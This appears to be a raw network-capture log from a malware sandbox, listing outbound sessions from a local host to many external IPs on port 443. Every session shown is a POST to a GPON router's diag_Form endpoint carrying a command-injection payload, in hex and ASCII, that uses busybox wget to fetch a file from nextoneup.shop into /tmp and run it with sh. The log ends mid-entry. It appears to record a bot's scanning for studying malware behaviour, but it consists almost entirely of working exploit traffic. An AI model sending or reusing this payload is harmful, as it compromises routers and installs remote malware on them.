XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2410	192.168.2.13	35000	37.104.41.125	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401940107 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2411	192.168.2.13	48588	118.70.186.137	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401962042 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2412	192.168.2.13	58652	42.244.240.6	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.401999950 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2413	192.168.2.13	55818	210.81.210.162	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402029037 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2414	192.168.2.13	33546	210.101.245.225	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402043104 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2415	192.168.2.13	49960	5.176.51.214	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402056932 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2416	192.168.2.13	48874	37.91.114.184	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402056932 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2417	192.168.2.13	42014	202.81.175.42	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402079105 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2418	192.168.2.13	36000	5.17.89.137	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402107000 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2419	192.168.2.13	37998	37.216.148.46	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402132988 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2420	192.168.2.13	40434	2.131.80.25	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402141094 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2421	192.168.2.13	57892	109.212.72.104	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402182102 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2422	192.168.2.13	49684	123.0.224.252	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402223110 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2423	192.168.2.13	45100	178.59.20.156	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402234077 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2424	192.168.2.13	40178	123.40.46.125	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402264118 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2425	192.168.2.13	40596	42.50.15.184	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402275085 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2426	192.168.2.13	58862	94.239.250.34	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402313948 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2427	192.168.2.13	44524	2.208.18.170	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402317047 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2428	192.168.2.13	36382	202.243.139.232	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402343988 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2429	192.168.2.13	54800	79.9.244.240	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402344942 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2430	192.168.2.13	51458	79.151.45.98	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402373075 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2431	192.168.2.13	43632	212.208.203.44	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402406931 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2432	192.168.2.13	43390	123.149.22.91	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402411938 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2433	192.168.2.13	55940	212.0.80.59	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402411938 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2434	192.168.2.13	53860	202.39.145.165	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402436018 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2435	192.168.2.13	34368	118.27.231.0	443

Timestamp	Bytes transferred	Direction	Data
